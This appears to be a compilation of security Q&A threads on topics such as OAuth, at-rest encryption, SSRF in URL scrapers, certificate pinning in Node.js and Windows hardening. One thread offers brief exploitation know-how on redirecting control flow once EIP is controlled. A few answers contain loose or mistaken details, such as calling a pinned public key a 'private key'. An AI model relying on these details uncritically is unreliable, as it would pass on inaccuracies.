Ubuntu: How do I download PPA software over HTTPS? The default PPA address is: http://ppa.launchpad.net

How do I connect to this via https, or use a mirror with https?

Yes, I'm aware that the packages are signed. Thing is, signing keys can be stolen.

I'm aware it's easier to break https that to steal a signing key. However this does not make https useless. In today's world multiple layers of security are mandatory, I'm amazed that packages are still served over http by default.

It's simple: Ubuntu provides e.g. http://ppa.launchpad.net/xorg-edgers/ppa/ubuntu/, but not https://ppa.launchpad.net/xorg-edgers/ppa/ubuntu/. Nothing you can do about this. How could any mirror be more secure than the origin?

File a bug report to https://bugs.launchpad.net/ if you want to see https://ppa.launchpad.net/, but don't set your hopes too high.


Logging sensitive data My bank's android app is logging session ids, account numbers, money transfers and current balance of my account. Is this normal? Do all banks do that? Can a malicious app read my logs and get my account number? And finally if this is a security problem what do i do?

My bank's android app is logging session ids, account numbers, money transfers and current balance of my account.

If true, what bank? Shame them. It's also possible you have a piece of malware that's doing this.

  Is this normal?

No way.

  Do all banks do that?

I doubt it.

  Can a malicious app read my logs and get my account number?

Yes, they can. They can get session ids, account numbers, money transfers, and the current balance of your account. This can help malicious attackers do things with your account.

If I were a malware author, I'd be very interested in using the session ids and account numbers in particular. To a lesser extent, current balance. If I have your bank account number... the things I can do with that are quite nearly endless, especially if I know who you are.

  And finally if this is a security problem what do i do?

Uninstall it. Nobody's data should be hanging around like that. In fact, maybe if you point this out to the bank, they might reward you? You should point out that this is a terrible security practice.

If the bank doesn't do anything, as in they don't acknowledge that this is a security concern, or they don't even have the courtesy to call you, then by all means, go cause a big stink somewhere. Go to the media, and let it spread like wildfire.


Why have a refresh_token with an OAuth2 Client Credentials grant type? Can someone explain to me the purpose of the refresh token when you're using the Client Credentials grant type with OAuth2? I'm confused because you can easily generate a new access token without one, so why bother?
For example, to get an access token you typically only need:
https://oauth.example.com/token?grant_type=client_credentials&client_id=CLIENT_ID&client_secret=CLIENT_SECRET

So why would you ever use:
https://oauth.example.com/token?grant_type=refresh_token&client_id=CLIENT_ID&client_secret=CLIENT_SECRET&refresh_token=REFRESH_TOKEN

Is a refresh token more applicable when using other grant types (eg. Resource Owner Password Credentials)?

I just found the answer elsewhere (credit to Florent Morselli):
Explanation
The issuance of a refresh token with the  client credential grant has no benefit.
That is why the RFC6749 section 4.4.3 indicates A refresh token SHOULD NOT be included. Thus its issuance is at the discretion of the authorization server.
From my point of view an authorization server should never issue a refresh token with the client credentials grant as the access token issuance process will take an additional and unnecessary step:
Issuance with the client_credentials grant type:

Step one: client authentication (client secret, assertion...)
OK access token is issued

Issuance with the refresh_token grant type:

Step one: client authentication (client secret, assertion...)
Step two: refresh token verification (expiration time, associated client...)
OK access token is issued


What is a good way to authenticate a user to a smart phone? What would be a good way to authenticate a user to a smart phone?  By good, I mean that it is both secure, and user-friendly.  Passwords don't seem to be the best fit because a password needs to be long to be secure, but it is hard to type a long password on a smart phone.  Some thoughts I have begun to think about are biometric measures (e.g. possibly facial recognition), and / or a token.  I am interested for this question in authenticating to the phone.  As pointed out in the comments, my original question was too broad, so I am splitting the other portion into another question here: What is a good way to authenticate a user to websites and applications with a smart phone?

Look at the authentication methods for unlocking phones. On my galaxy S4, there are:

Swipe (no security)
Face Unlock (low security)
Face and Voice (low security)
Pattern (medium security)
PIN (medium to high)
Password (high)

From personal experience, the face unlock is kind of hard. You have to train it, and then you have to stick your face in the right light with nothing on it to unlock your phone. Also consider people with disabilities or injuries -- someone who has been burned in an accident will be locked out of their device! There has also been research in defeating the recognition engine with pictures, and it's pretty easy to do because anyone can see your face.

The password as you said is very hard to type. Tiny phone keyboards make capital letters very hard.

However, the two methods of authentication that I find the easiest from a user's standpoint are the PIN and the pattern. The pattern can be lifted from the screen oils (blech) so that weakens it.

A large, number only keyboard that has randomized the placement of numbers is a good compromise between usability and security. Place a minimum length on the pin (like 10) and you'll be able to have security comparable to a password.


Storing 2-way encrypted sensitive data in web app In my web application I need to store some (very) sensitive data for my users. This data only needs to be available to the end user for the duration of the active session. The users log into the web application using username/password with 2FA.

I'm thinking about encrypting this data using user's password as the key. When the user logs in to the site, if the password is correct, I can then decrypt the data using this password as the key and store it in the session.

While theoretically this may be an OK solution, I still feel that this may not be very secure. Additionally, strong encryption algorithms like aes-128-cbc or aes-128-gcm require an initialisation vector, which would need to be stored to enable decryption - and I don't have an answer to this just yet.

So, is this approach reasonable or is there a better solution to this?

I wouldn’t encrypt directly with the user password. Rather use the users password, passed through some key-derivation like PBKDF2 — and use the output of that as a Key encrypting key (KEK)

Then use the KEK to encrypt a unique key that is used for encrypting/decrypting the user data. This also simplified user password changes, but beware, users who lose their passwords will also lose access to the data, for many use-cases this is unacceptable.

The problem with this approach is that someone in possession of the password would be able decrypt the sensitive data. Plus weak passwords will be a weak-link in the setup.

A separate approach would be to generate a unique key for each user, and encrypt that key with something like Amazon KMS. That way you’d be able to decrypt the data using Amazon KMS and the encrypted key.

This way, if someone dumps the database, the sensitive data is still secure since the attacker won’t have access to the sensitive data, because they wouldn’t have access to your key on Amazon KMS.

The downside is that a full-blown compromise of your aws account would compromise the data — but hopefully you’re monitoring to KMS and can see suspicious activity before things get out of hand.


How apache tomcat favicon can be malicious or cause unintended results in application? At the moment, there aren't any of those vulnerabilities that we know. I was looking the docs on what damages can be done by hackers if apache tomcat favicon is revealed in web application.

For one thing it can be an information leakage as to the fact that you are using apache tomcat.  In addition, if they change their icon over versions, you would be able to tell which version of tomcat you are using.  Remember every attack starts with a bit of reconnoissance, if they know what servers you're using they can better attack it.  Not saying that it's the only way to find out what you're using but limiting the information your attacker has about your configurations is the first step.


Block all Nmap scan methods on Windows How can I prevent someone from scanning my Windows box using Nmap? I used Comodo as my firewall but someone still can scan my box using Nmap and get some info like open services and OS detection.

If you configure your firewall to block all incoming packets, then an nmap scan will show nothing, and OS detection will fail.

If you want have some open services, you can restrict them by source IP address, and scans from other IP addresses will not detect them.

If you need services open to the whole internet, then port scans will detect these. There's no way round that.


What can schools see on school issued Mac? My school gave everyone Macs that were sealed in the box and everything. From what I’ve seen so far, the root certificate hasn’t been tampered with. Can they see my https web history? Can laptops have monitoring software preinstalled to decrypt before being placed in the manufacturing box?

Also, my personal Apple ID is on the computer and I realized some of my phone searches (not on their network) were syncing to my laptop. Can they see or decrypt my iCloud Safari data web history because of the sync with my phone? It is stated that files and messages stored on the Mac are not private.

Also, school email and data over their network of computers can be seen and there are antivirus and firewall software installed. Nothing about web monitoring was noted.

Supply chain interdiction is thought to be a capability only reachable for APTs. I doubt your school has the capability to do this, unless they have a basement with a bunch of hairdryers and shrink wrap...

If they did, than a bunch of files on the file system would have been created or modified. A recursive search for all executables sorted by modified should show you if some executables have timestamps that stand out form those installed with the original image. If you’re interested in what command could show that info leave a comment. That would be a separate question but I’d help you figure it out.

However, last time I checked it was free to reinstall the OS on Mac devices. If you’re like me you reinstall everything from bare metal. https://support.apple.com/guide/mac-help/reinstall-macos-mchlp1599/mac

It sounds like you are aware the school could inspect anything you do on their network and email services. That is correct. You should not have an expectation of privacy when using their services. You may want to set your iOS devices to sync via the USB cable to prevent sync over LAN. Tunneling protocols could help, but that’s getting into another subject.

Maybe review the paperwork you signed when you completed orientation... If your school is wiretapping communications to students by deceptively handing out computers ladened with spyware... or intercepting communications between syncing devices... That would be quite a news story.


What is the security impact of JavaScript minification? In recent years the use of JavaScript minification for web applications proliferated so quickly that it can be considered as a defacto standard nowadays. I am wondering whether the use of such tools is likely to introduce new vulnerabilities not present in the initial source code?

It is unlikely that simple substitutions introduce new vulnerabilities.

The rules which minification follows are simple and easy to implement and the grammar of the language is fairly easy to parse.

Thus, the minification itself poses no significant additional threats to usage of JavaScript (essentially a method for remote arbitrary code execution) in general.

After a comment from @Armenius, I‘d like to point out that there are certain edge cases in which minifiers make assumptions about the (somehow convoluted) typing system of JavaScript that introduces - well - bugs.

This has yet been fixed, but there is of course no proof that there are not more poorly designed minifiers that do things to minify that (ab)use features differently from what the author intended.

Please also note that it depends on what minifier you use - for example, as anecdotal evidence - the switch from gcc to clang have brought back buffer overflows that were „fixed“ by checking if an integer overflowed in an if statement. The standard says the behavior of overflown integers is undefined and gcc used to start them back at minint. Clang was being clever: »if the integer didn’t flow over, it cannot be negative. If it is negative, there must be an overflow. Which consequences are undefined so I‘m optimizing out the whole if statement«

So, yes, there is a small chance that (basically any software so also) minifiers introduce new bugs. However, I’m confident those are rare and easily fixed as the syntax is not as complicated.

Yet, there is an implication that is often overlooked when it comes to minification: whenever scripts are minified, they become essentially unintelligible for humans unless reinflated. Thus, when they are not included from a well known, trusted CDN, they might contain malicious script pieces hidden in an otherwise fine jQuery-implementation, for example.

And introducing such malicious code can very well be done by minifiers. But on the other hand, such tools are usually open source and a hidden crypto-miner in every minimized script will be spotted fairly quickly by the community.

Apart from that, dropping malicious otherwise not obvious code in a minified script after its generation and before its deployment to the users can be a good hiding place - and ongoing minification makes manual security reviews of websites more complicated.


how to find out if a program sends data to internet (without permission)? We have an application to save our customers data (some kind of CRM). This application has been written in Delphi and is a client/server application.  This program apparently is sending out information to Internet but we are not entirely sure. The person who wrote it is not reachable anymore.

On the data server we have not Internet connection and I think the clients parts maybe send information via email or some other way...

How to find out if this application sends data (maybe once a day !) ? What data and to which address it sends? This application is working on windows XP.

You can use TCP View which is usually used by investigators and security experts to determine the behavior of certain malware, where it's establishing connections/getting commands from, or more common use is to solve cases where an individual is spying on another by use of Webcam/Microphone etc, by tracing the IP address; an example use of TCPView in such cases is that of Jared James Abrahams who hacked into several of his peer's computers to sextort them with pictures of he would take via their hacked webcam. (Sometimes the "hacker" is just someone without much knowledge in security/IT, so they don't take precautions to mask their IP)

This is an example of TCP View showing an executable connecting to external addresses

Then to know what data the executables are sending, you can do packet sniffing, using software such as Wireshark that allows you to a network protocol analyzer.


What are the risks of placing Amazon Resource Names (ARNs) in VCS repositories? Amazon Resource Names (ARNs) uniquely identify AWS resources. Amazon requires an ARN when you need to specify a resource unambiguously across all of AWS, such as in IAM policies, Amazon Relational Database Service (Amazon RDS) tags, and API calls.

Here are some example of ARNs:

<!-- Elastic Beanstalk application version -->
arn:aws:elasticbeanstalk:us-east-1:123456789012:environment/My App/MyEnvironment

<!-- IAM user name -->
arn:aws:iam::123456789012:user/David

<!-- Amazon RDS instance used for tagging -->
arn:aws:rds:eu-west-1:123456789012:db:mysql-db

<!-- Object in an Amazon S3 bucket -->
arn:aws:s3:::my_corporate_bucket/exampleobject.png

My question: what are the risks if these types of information are made available on a version control system such as Bitbucket or Github?

Probably none, unless you have insecure users.

I base this largely on the AWS Best Practices documentation, which (1) says nothing about protecting your account ID, and (2) encourages using roles to permit inter-account access. Since a role ARN contains the account ID, and they don't explicitly caution you to only share the ARN with a trusted party, one can assume that the account ID isn't very valuable.

That said, the account ID can be used to access a sign-in page that's specific to your account. If you have users with easily guessable names and passwords, it's possible that knowledge of your account ID can give attackers a way to exploit those users. I don't know how or if Amazon responds to brute force login attempts, so this may not be an issue either.


Is this where a nonce comes into play? I'm reviewing a website a friend developed, and was looking for general errors and concerns. In reviewing I noticed he is very heavy on ajax calls using JSON to a RESTful API that he maintains on a different server.

While some calls are simply things that return content, some are more sensitive to get attributes of a user that is authenticated. To determine authentication, he is passing a userid (stored as a GUID) in the call to the API. The code on that server then validates that this userID exists, and acts accordingly.

I went home later and took that same call with his GUID and was able to do all sorts of nasty things based on that GUID. He said "well who would get the GUID? The chances of guessing it are not likely, and all my calls are made over https".

Based on this, would you say the chances of someone stealing a GUID are low and he is fine? Or should he be handling this better? Perhaps generating a nonce [from the server the API is on] and then passing that along as well in the ajax calls to avoid replaying like how I did.

Perhaps i'm wrong on a few areas so go easy on me but would love some opinion :)

Thanks!

This is a broken design because a GUID is not supposed to be secret, yet from what I understand it provides access identical to entering your username and password on the website.

In theory the design is solid. Protect the GUID as if it were the user's password and case closed.

In practice this introduces a lot of problems.

Example: I start working at your company today. I'm told to write a search feature so that you can find other users by email address. I would probably code the search results as a page showing a list of links to profiles, which contains something like ${user.name}. Upon checking which columns to use I discover that the id field is called guid and the name field is called fullName. I test this. It works. I push the code.

Without realizing it, I just leaked the user's GUID which basically provides full account access. Now you can hijack any account of whom I know the email address.

Right now the programmer may constantly have in the back of his mind that knowing the GUID provides full account access, but in a few months it won't be something you think about a lot anymore. Since it is, I assume, the only unique way to point to an account, you need to use it in a lot of places. Especially for user interaction this might be a problem (perhaps users can form companies or groups, share folders, you name it).

A better way would be to separate identification and authentication. The GUID identifies a user whereas a security token authenticates a user. This completes the Identification, Authentication and Authorization (IAA) parts of a security system: the system decides the Authorization based on the Identification after verifying the Authentication. This is why, in addition to passwords, we also need to fill out a username on websites. Using only one or the other is generally a bad idea.

All places where the GUID is currently used should be replaced with the newly generated security tokens. For example a request might look like this: /API/2.0/doAction?GUID=${user.guid}&token=${some_security_token}. Note that these tokens must be fully randomized (odds of guessing it must be around 1 in 2^128).

There are many ways of generating these security tokens. Many websites generate sessions, but you could also use an extra database field. Whenever API calls are made, the user is authenticated by this random field. The field should be called something that makes it clear it's not supposed to be known to others.

Again, in theory it doesn't really make a huge difference in the system's design whether you use a random GUID or another randomly generated field for authentication, but in practice I think it does prevent a lot of big security errors, especially when the site has any kind of user interaction (but also if it doesn't, e.g. a password reset feature might accidentally expose the GUID after entering a username or email address). It simply reduces the number of attack possibilities.


What should I use to encrypt data between a centralized server and multiple devices running NodeJS? I have a centralized server and DB that each of my devices polls every ten seconds. The centralized server may respond with a list of "active jobs", which the devices will then run.

I need to ensure the data sent from the server to the devices is encrypted and only each device can decrypt that.

I was thinking I would need to generate a key pair on each device at installation and send the public key to be stored on the centralized server. The server then encrypts data out using the public key, and each device decrypts that data once ingested using the private key.

Does this make sense? Which encryption scheme should I be using? My server is running Laravel (PHP) and as mentioned each device is running a NodeJS daemon.

This original answer was to use HTTP/SSL/TLS to encrypt the information between the PHP server and NodeJS client and to use basic authentication in the HTTPS request.
However from the conversation in the comments to this answer the server and clients are already using HTTPS to secure the traffic between the server and the client.

Therefore as long as the NodeJS client trusts the SSL Certificate provided by the server, the communications between the client and server should be secure given all of the caveats of all of the answers to this Information Security question: How safe is SSL?

To be extra safe I found an example in NodeJS HTTPS API documentation that shows you how to have your HTTPS request validate that the server's SSL certificate has the correct SHA256 fingerprint and private key.

const tls = require('tls');
const https = require('https');
const crypto = require('crypto');

function sha256(s) {
  return crypto.createHash('sha256').update(s).digest('base64');
}
const options = {
  hostname: 'github.com',
  port: 443,
  path: '/',
  method: 'GET',
  checkServerIdentity: function(host, cert) {
    // Make sure the certificate is issued to the host we are connected to
    const err = tls.checkServerIdentity(host, cert);
    if (err) {
      return err;
    }

    // Pin the public key, similar to HPKP pin-sha25 pinning
    const pubkey256 = 'pL1+qb9HTMRZJmuC/bB/ZI9d302BYrrqiVuRyW+DGrU=';
    if (sha256(cert.pubkey) !== pubkey256) {
      const msg = 'Certificate verification error: ' +
        `The public key of '${cert.subject.CN}' ('${sha256(cert.pubkey)}') ` +
        `does not match our pinned public key ('${pubkey256}') `;
      return new Error(msg);
    }

    // Pin the exact certificate, rather then the pub key
    const cert256 = '25:FE:39:32:D9:63:8C:8A:FC:A1:9A:29:87:' +
      'D8:3E:4C:1D:98:DB:71:E4:1A:48:03:98:EA:22:6A:BD:8B:93:16';
    if (cert.fingerprint256 !== cert256) {
      const msg = 'Certificate verification error: ' +
      `The certificate of '${cert.subject.CN}' ('${cert.fingerprint256}') ` +
      `does not match our pinned fingerprint ('${cert256}')`;
      return new Error(msg);
    }

    // This loop is informational only.
    // Print the certificate and public key fingerprints of all certs in the
    // chain. Its common to pin the public key of the issuer on the public
    // internet, while pinning the public key of the service in sensitive
    // environments.
    do {
      console.log('Subject Common Name:', cert.subject.CN);
      console.log('  Certificate SHA256 fingerprint:', cert.fingerprint256);

      hash = crypto.createHash('sha256');
      console.log('  Public key ping-sha256:', sha256(cert.pubkey));

      lastprint256 = cert.fingerprint256;
      cert = cert.issuerCertificate;
    } while (cert.fingerprint256 !== lastprint256);

  },
};

options.agent = new https.Agent(options);
const req = https.request(options, (res) => {
  console.log('All OK. Server matched our pinned cert or public key');
  console.log('statusCode:', res.statusCode);
  // Print the HPKP values
  console.log('headers:', res.headers['public-key-pins']);

  res.on('data', (d) => {});
});

req.on('error', (e) => {
  console.error(e.message);
});
req.end();

Here's an example running this program.  The validations failed because the Github SSL certificate changed.  I added displaying the encountered values to the error messages to allow the script to be changed with the current values to validate testing.

pi@rpi1:~/tpf $ node check-cert.js
Certificate verification error: The public key of 'github.com' ('o5oa5F4LbZEfeZ0kXDgmaU2K3sIPYtbQpT3EQLJZquM=') does not match our pinned private key ('pL1+qb9HTMRZJmuC/bB/ZI9d302BYrrqiVuRyW+DGrU=')

Update script to use 'o5oa5F4LbZEfeZ0kXDgmaU2K3sIPYtbQpT3EQLJZquM=' for the private key.

pi@rpi1:~/tpf $ node check-cert.js
Certificate verification error: The certificate of 'github.com' ('31:11:50:0C:4A:66:01:2C:DA:E3:33:EC:3F:CA:1C:9D:DE:45:C9:54:44:0E:7E:E4:13:71:6B:FF:36:63:C0:74') does not match our pinned fingerprint ('25:FE:39:32:D9:63:8C:8A:FC:A1:9A:29:87:D8:3E:4C:1D:98:DB:71:E4:1A:48:03:98:EA:22:6A:BD:8B:93:16')

Update script to use the displayed fingerprint which allows the script to continue and display all of the certificates in the chain provided.

pi@rpi1:~/tpf $ node check-cert.js
Subject Common Name: github.com
  Certificate SHA256 fingerprint: 31:11:50:0C:4A:66:01:2C:DA:E3:33:EC:3F:CA:1C:9D:DE:45:C9:54:44:0E:7E:E4:13:71:6B:FF:36:63:C0:74
  Public key ping-sha256: o5oa5F4LbZEfeZ0kXDgmaU2K3sIPYtbQpT3EQLJZquM=
Subject Common Name: DigiCert SHA2 Extended Validation Server CA
  Certificate SHA256 fingerprint: 40:3E:06:2A:26:53:05:91:13:28:5B:AF:80:A0:D4:AE:42:2C:84:8C:9F:78:FA:D0:1F:C9:4B:C5:B8:7F:EF:1A
  Public key ping-sha256: RRM1dGqnDFsCJXBTHky16vi1obOlCgFFn/yOhI/y+ho=
Subject Common Name: DigiCert High Assurance EV Root CA
  Certificate SHA256 fingerprint: 74:31:E5:F4:C3:C1:CE:46:90:77:4F:0B:61:E0:54:40:88:3B:A9:A0:1E:D0:0B:A6:AB:D7:80:6E:D3:B1:18:CF
  Public key ping-sha256: WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18=
All OK. Server matched our pinned cert or public key
statusCode: 200
headers: undefined


Leaving an encrypted Windows 10 machine on in the office. What are the issues? We're encrypting some of the machines in the office with Veracrypt. We're just starting out so cost is an issue but we don't want to cut corners. We'd like one of the devs to be able to log in from home (occasionally). In the short term we're happy just to leave the machine on and risk a reboot but over the next few weeks we want something better

Short term

Leave the machine on
Use Teamviewer but with MFA, strong password and
strong password to log into Windows

Short term concern

If Windows has a strong password what are the vulnerabilities whilst it is switched on but unattended?

Long Term concern

Is Teamviewer secured in the way outlined acceptable?
If anyone has any general suggestions that a developer with limited sys-admin experience could do I would welcome that. We're getting a Draytek Vigor router with plenty of VPN options for instance.

We're encrypting some of the machines in the office with Veracrypt

Are you going to fully encrypt the machines or create an encrypted container? The reason I ask this will be clear below.

Use Teamviewer but with MFA, strong password and strong password to log into Windows

I am unsure but this isn't what MFA stands for. There are 3 factors of authentication - something you know (passwords/passphrases), something you have (tokens), something you are (bio-metrics) -
Since this is password authentication on two different apps the security will depend on:

Teamviewer: Make sure you're using a version of teamviewer which does not have known vulnerabilities. Using the latest version is usually advised
Windows:

The reason I asked you if you're going to do a FDE (Full disk encryption) or a container is because if you're going to fully encrypt the hard-disk is protects the data only if the HDD / computer is physically stolen - provided the computer is shutdown or at least rebooted and on the login screen of veracrypt.
If you create an encrypted container and dismount it - whoever logs in to the PC in whichever manner (locally or  over Teamviewer) will have to mount the encrypted container.

Unless there is risk of physical theft, only way Veracrypt or any other encryption program can add value (to certain extent) is if you create an encrypted container. In case you fully encrypt the hard-disk, keep the computer running and the DEV will login from home - I don't see any addition of security. It will help more, if the DEV unmounts the encrypted partition / container and mounts it from home again. However this again is minimal since if the computer if infected / compromised the key can be captured while being entered / data can be extracted while the partition is mounted

What I would advise you to do is to harden the system and network devices.

Remove all services you don't need on the system (disable them). You may refer to www.blackviper.com/service-configurations/ to help you in this.
Patch - Patch and Patch: OS, software on the system, BIOS, drivers - everything should be at it's latest release (production release).
Create a reduced right user and run teamviewer on that account. Let the DEV run his software from there. Set the UAC on windows to FULL.
Install Microsoft's EMET and set it to high. In BIOS / UEFI enable DEP (in windows enable DEP for all programs except mentioned below - don't mention any).
Install a good AV (Norton / Kaspersky) and configure the firewall to block all network traffic unless explicitly allowed (and required), drop protocols that you don't need to use. If you can enable logging on the machine for network traffic, do that. it may help in case of a compromise. This can be set up without any cost with syslog.
Disable:
autorun (autplay).
System restore.
Simple file sharing.
Dump file creation on BSOD.
Remote assistance (will be reactivated using AD).
Fast wake-up.
Hybrid sleep.
Put basic security policies using local policy such as complex password - require alt+ctrl+del at logon.
Following are some suggested settings - please check them for your requirement. I would recommend to disconnect the system from a domain and make it stand alone. It would help if you isolate the traffic to this machine using VLAN. Settings mentioned below are not for a PC connected to a DC.

Accounts: Block Microsoft accounts: Enabled
Accounts: Guest account status: Disabled
Account: Administrator account: Disabled.
Accounts: Limit local account use of blank passwords to console logon only: enabled
Audit: Audit access of global system objects: enabled
Audit: Audit the use of Backup and Restore privilege: enabled
Audit: Force audit policy subcategory settings (Windows Vista of later) to       override audit policy category settings: enabled
Audit: Shutdown system immediately if unable to log security audits: enabled
DCOM: Machine access restrictions: no remote access for all accounts
DCOM; Machine launch restrictions: no remote launch and remote activation for all accounts
Devices: Allow undock without having to log on: disabled
Devices: Allowed to format and eject removable media: administrators and interactive users
Interactive logon: Do not display last user name: enabled
Interactive logon: Do not require CTRL+ALT+DEL: disabled
Interactive logon; Machine account lockout threshold: 10 invalid logon attempts
Interactive logon: Machine inactivity limit: 300 seconds
Interactive logon: Prompt user to change password before expiration: 14 days
Network access: Allow anonymous SID/Name translation: disabled
Network access: Do not allow anonymous enumeration of SAM accounts: enabled
Network access: Do not allow anonymous enumberation of SAM accounts and shares: enabled
Network access: Do not allow storage of passwords and credentials for network authentication: enabled
Network access: Let Everyone permissions apply to anonymous users: disabled
Network access: Named Pipes that can be accessed anonymously: blank
Network access: Remotely accessible registry paths: blank
Network access; Remotely accessible registry paths and sub-paths: blank
Network access: Restrict anonymous access to Named Pipes and Shares: enabled
Network access: Shares that can be accessed anonymously: blank
Network access: Sharing and security model for local accounts: Classic - local users authenticate as themselves
Network security: Allow Local System to use computer identity for NTLM: : enabled
Network security: Allow LocalSystem NULL session fallbasck: disabled
Network security: Allow PKU2U authentication requests to this computer to use online identifies: disabled
Network security: Configure encryption types allowed for Kerberos: AES128_HMAC_SHA1, AES256_HMAC_SHA1, Future encryption types
Network security: Do not store LAN Manager hash value on next password change: enabled
Network security: Force logoff when logon hours expire: disabled
Network security; LAN MAnager authentication level: Send NTLMv2 response only, Refuse LM & NTLM
Network security: LDAP client signing requirements: Require signing
Network security: Minimum session security for NTLM SSP based (including secure RPC) clients: Require NTLMv2 session security, Require 128 bit encryption
Network security: Minimum session security for NTLM SSP based (including secure RPC) server: Require NTLMv2 session security, Require 128 bit encryption
36.Network security: Restrict NTLM: Incoming NTLM traffic: Deny all accounts
Network security: Restrict NTLM: NTLM authentication in this domain: Deny all
Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers: Deny all
Recovery console: Allow automatic administrative logon: disabled
Recovery console: Allow floppy copy and access to all drives and all folders: disabled
Shutdown: Allow system to be shut down without having to logon: enabled
Shutdown: Clear virtual memory pagefile: enabled (check veracrypt for any conflicts with this setting)
System cryptography: Use FIPS compliant algorithms for encryption, hashing and signing: Enabled
System objects: Require case insensitivity for non-Windows subsystems: enabled
System objects: Strengthen default permissions of internal system objects :enabled
System settings: Optional subsystems: blank
System settings: Use Certificate Rules on Windows Executables for Software Restriction Policies: enalbled
UAC: Admin Appoval Mode for Built-in Administrator account: enabled
UAC: Allow UIAccess applications to prompt for elevation without using the secure desktop; disabled
49 UAC: Behavior of elevation prompt for administrators in Admin Approval Mode; 50. Prompt for consent on the secure desktop
UAC: Behavior of the elevation prompt for standard users: Automatically deny elevation requests
UAC: Detect application installations and prompt for elevation: enabled
UAC: Only elevate executables that are signed and validated: disabled
UAC; Only elevate UIAccess applications that are installed in secure locations: enabled
UAC: Run all administrators in Admin Approval Mode: enabled
UAC: Switch to the secure desktop when prompting for elevation: enabled
UAC: Virtualize file and registry write failures to per-user locations: nabled

Hope this helps, system can be further secured by controlling what websites are being surfed to, drop the rights of the browser (you don't need to do this if you're allowing the DEV to logon to a limited privilege account) and files being opened. If you can disable Adobe Flash, Reader and Java it will help immensely. You can also block above mentioned apps from internet activity (except flash) if they're absolutely needed.

In the long run please have some sort of remote login service (Microsoft RDP is great and I feel you should explore it if your version of windows 10 is professional) enabled that has ability to take secondary credential from a token device (since the user will not be present in person, bio-metrics cannot be used).

Hope this helps.


What risks exist when executing HTTP requests to user-submitted resources? Context

I'm working on an application where one of the features requires scraping metadata from resources available over HTTP/HTTPS. These resources are submitted by end-users in the form of a URL, and we then invoke an HTTP request to the resource and parse the response body to pull relevant metadata (title, meta tags, etc) from the HTML response. We enforce HTTP/HTTPS as the protocol of all submitted URLs.

Question/Concern

Is there an attack vector where an HTTP request to a user-submitted resource could allow remote code execution, access to the file system, or access to network interfaces that are not exposed externally?

My concern is that there may be a network interface (loopback, localhost, etc) that when requested from the box could result in the application retrieving and displaying sensitive data back to the user.

What I've already tried/considered

Server-side validation will only allow submission of HTTP/HTTPS resources
Redirects are followed up to a limit, so it is not sufficient to only sanitize the initial user-submitted resource
Any resources submitted without a protocol is forced to HTTPS
Appropriate measures are taken to ensure that user-submitted resources cannot cause SQL injection and that values scrapped from HTTP resources cannot cause SQL injection
Measures are taken to prevent/mitigate DOS attacks facilitated through the following of infinite redirect loops
We may need to block/prevent requests to localhost, 127.0.0.1, or other resources which are not at a fully qualified domain may need to be blocked
Is there a risk that the user could cause a request to be invoked against the Docker network or other similar network interfaces on the box?

One risk I see here is that a malicious user sets up a redirect host that redirects back to localhost or an on-box network. We wouldn't allow an initial connection to localhost, etc, but if we don't prevent redirect requests to those interfaces as well it could be a problem.

Some kind of sandbox/container could help mitigate attack vectors, however, the setup would be a bit prohibitive at this time

Conceptually yes, this opens up a (quite obvious) way for external sources to somehow manipulate what will end up on your application. Whether that translates into a vulnerability is entirely dependent on what you do with the information.

It is critical that you exhaustively filter anything that is brought in, consider applying a white list of characters, or multiple ones depending on which field you are filtering. Not interpreting anything that comes back is helpful -- parsing responses as plaintext only.

Definitely control remote URLs (and protocols, make sure it's http:// or https://) and redirects and reject anything like localhost or RFC1918 addresses to protect your own network. Also limit the rate at which you access remote resources. Ideally plan to batch these requests and have them done by a separate process or on a different server.

Presuming that you'll only be showing some of the information pulled in, again make sure you filter and escape everything very carefully even if it comes back from your own database (since it's not impossible that it hadn't been properly filtered on the way into the database). Assume the worst.

Notwithstanding the functionality you need on your application, this type of activity incurs quite a bit of risk.


Should security canaries be short? I had an exam question on why security canaries should be short. I suspect that is so that the attacker has a harder time finding the canary. Is that right?

Presumably you are referring to stack canaries, which is a runtime construct and trivial to find. You want them to be short for performance reasons as they are compared every time a function returns.

You can find some more information of the performance of protection here: https://research.google/pubs/pub43809/


Using GPG or PGP for symmetric database encryption/decryption in c# I am looking to symmetrically encrypt/decrypt information in a database. This info consists of short pieces of information, which need to be individually encrypted when a specific method is called.

I have been researching using AES_256 in GCM mode, but keep coming across the recommendation that I should not "roll my own cryptography protocol".
see these links for examples

Lessons learned and misconceptions regarding encryption and cryptology

https://stackoverflow.com/questions/4453724/aes-encryption-of-files-with-python

I need to actually incorporate the encrypting/decrypting in code.

Can I viably use GPG or PGP to encrypt/decrypt code, and if so how?

If not, any suggestions as to the best library to use for AES in GCM would be appreciated.

Thanks

The central part of PGP/GPG is the asymmetric cryptography. It does not make sense to use GPG without that part because the rest is just simple symmetric en-/decryption.

Using the cipher algorithms from GPG also does not make sense as Dot.Net has them already implemented. I am not sure if the GCM mode is also present but if not you can still use the Dot.Net version of BounyCastle, which has GCM support.

Since you don't have a database provider that supports encryption, in my opinion your only option is to develop your "own protocol".

How many keys to use and how to cipher what with which key depends on the security needs of the data you are storing. Make sure to discuss your final design intensively here on Stackoverflow or on the IT Security branch.

BTW: Even if GCM outputs a cipher text exactly as long as the plain text it requires further parameters like IV and authentication tag (auth tag is optional) which have to be saved. Therefore the data to be saved is again larger than the plain text. But as long as you don't have millions of records this doesn't make IMHO a big difference nowadays.


When I controll EIP, how do I discover what the next steps are? Lets say I can control the EIP CPU Register, and I want to jump to a specific function of which I know the correct memory address. This address is inside the same memory page. We have no exploit mitigations enabled. Can I then just pass the memory address of the function to jmp and load that into EIP?

Yes, but be warned:

All function gets its parameters in the stack, or sometimes in registers. Probably you don't know, which params and where will it get. Maybe you will need a little bit play if you won't and early crash at the begin.
The return of a function is on the stack, but sometimes they are in registers. It is very sure, that the process will die after the hooked code.

If you are working on a hook, then make sure that ESP and the registers will be set back after your hook.

Maybe you can have problem if there is some like address space randomization feature, which makes the address of the function problematic to find.


Device versus file based encryption in TrueCrypt for a flash drive? Are there security tradeoffs to be considered in deciding between encrypting an entire flashdrive with TrueCrypt versus storing a file encrypted container?  The security goal is to be immune to the problem that wear leveling can store data on unused areas of the flash drive, so that all the encrypted data remains secure if the flash drive is lost.

If the entire device is encrypted, then the flash drive is useless without installing TrueCrypt.  If a file container is used, then an unencrypted portion could still be used for other purposes (understanding that wear leveling could leave traces of those files), but does that create any vulnerability for the file encrypted portion?

